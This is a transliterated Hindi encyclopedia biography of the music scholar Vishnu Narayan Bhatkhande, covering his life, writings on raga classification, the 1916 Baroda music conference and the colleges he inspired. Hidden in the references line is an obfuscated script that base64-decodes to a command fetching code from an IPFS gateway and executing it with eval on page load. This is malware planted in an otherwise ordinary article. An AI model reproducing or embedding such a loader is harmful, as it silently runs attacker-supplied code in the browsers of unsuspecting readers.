विष्णुनारायण भातखंडे
vishnunarayan bhatakhande
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| poora nam | vishnunarayan bhatakhande |
| janm | 10 agast, 1860 |
| janm bhoomi | muanbee |
| mrityu | 19 sitambar, 1936 |
| karm bhoomi | bharat |
| karm-kshetr | sangit |
| shiksha | bi.e. (1883), el.el.bi. (1890) |
| vidyalay | 'ailfianstan k aaulej', muanbee |
| prasiddhi | hindustani shastriy sangit ke vidvan |
| nagarikata | bharatiy |
| any janakari | shastriy jnan ke lie bhatakhande ne 'hindustani sangit paddhati' ke char bhag marathi bhasha mean likhe the. |
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pandit vishnunarayan bhatakhande (aangrezi: Vishnu Narayan Bhatkhande; janm- 10 agast, 1860, muanbee; mrityu- 19 sitambar, 1936) bharat ke 'hindustani shastriy sangit' ke vidvan vyakti the. shastriy sangit ke sabase b de adhunik achary ke roop mean unaka nam b de adar ke sath liya jata hai. poori tarah se ni:svarth aur samarpit sangit sadhak bhatakhande ne hindustani shastriy sangit ko vaijnanik paddhati se vyavasthit, vargikrit aur manakikrit karane ka pahala adhunik prayas kiya tha. unhoanne desh bhar mean ghoom-ghoomakar ustadoan se bandishean ekatrit karane, vibhinn ragoan par unase charcha karake unake manak roop nirdharit karane aur sangitashastr ke rahasyoan se parda uthate hue anek vidvattapoorn pustakean likhane ka mahattvapoorn kary kiya tha.
janm tatha shiksha
vishnunarayan bhatakhande ka janm muanbee (bhootapoorv banbee) ke balakeshvar namak sthan par 10 agast, 1860 ee. ko ek chittapavan brahman parivar mean hua tha. inhoanne 1883 mean bi.e. ki digri 'ailfianstan k aaulej', muanbee se prapt ki thi. isake bad varsh 1890 mean el.el.bi. ki pariksha pas ki. bad mean unhoanne sankshipt karyakal ke lie karachi ke uchch nyayalay mean ek vakil ke roop mean bhi apani sevaean pradan kian.
sangit se lagav
bhatakhande ki lagan aranbh se hi sangit ki or thi. unaki sangit yatra 1904 mean shuroo huee, jisase inhoanne bharat ke saik doan sthanoan ka bhraman karake sangit sambandhi sahity ki khoj ki. inhoanne b de-b de gayakoan ka sangit suna aur unaki svar lipi taiyar karake 'hindustani sangit paddhati kramik pustak-malika' ke nam se ek granthamala prakashit karaee, jisake chh: bhag haian. shastriy jnan ke lie vishnunarayan bhatakhande ne hindustani sangit paddhati, jo hindi mean 'bhatakhande sangit shastr' ke nam se chhapi thi, ke char bhag marathi bhasha mean likhe. sanskrit bhasha mean bhi inhoanne 'lakshy-sangit' aur 'abhinav rag-manjari' namak pustakean likhakar prachin sangit ki visheshataoan tatha usamean phaili huee bhraantiyoan par prakash dala. vishnunarayan bhatakhande ne apana shuddh thath 'bilaval' manakar thath-paddhati svikar karate hue das thathoan mean bahut se ragoan ka vargikaran kiya.[1]
sammelan ka ayojan
varsh 1916 mean bhatakhande dvara b dauda mean ek vishal sangit sammelan ka ayojan kiya, jisaka udghatan maharaja b dauda dvara hua tha. isamean sangit ke vidvanoan dvara sangit ke anek tathyoan par gambhirata poorvak vichar hua. isi ayojan mean ek 'aaul indiya myoojik ekedemi' ki sthapana ka prastav bhi svikar hua. is sangit sammelan mean vishnunarayan bhatakhande ji ke sangit sambandhi jo mahattvapoorn bhashan hue, ve aangrezi mean 'e sh aaurt historikal sarve aauf di myoojik aauf apar indiya' namak pustak ke roop mean prakashit ho chuke haian.
sangit vidyalayoan ki sthapana
vishnunarayan bhatakhande ke prayatnoan se bad mean any kee sthanoan par bhi sangit sammelan hue tatha sangit vidyalayoan ki sthapana huee. isamean lakhanoo ka 'mairis myoojik k aaulej', jo ab 'bhatakhande sangit vidyapith' ke nam se jana jata hai, gvaliyar ka 'madhav sangit mahavidyavay' tatha b dauda ka 'myoojik k aaulej' vishesh roop se ullekhaniy haian.[1]
nidhan
apana adhikaansh samay vishnunarayan bhatakhande ne sangit ko samarpit kar diya tha. unhoanne apane athak parishram dvara sangit ki mahanh seva ki aur bharatiy sangit ko ek ne prakash se alokit karake 19 sitambar, 1936 ko paralok vasi ho ge.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 sangit visharad |lekhak: vasant |prakashak: sangit karyalay, hatharas-204 101 (u.pr.) |prishth sankhya: 520 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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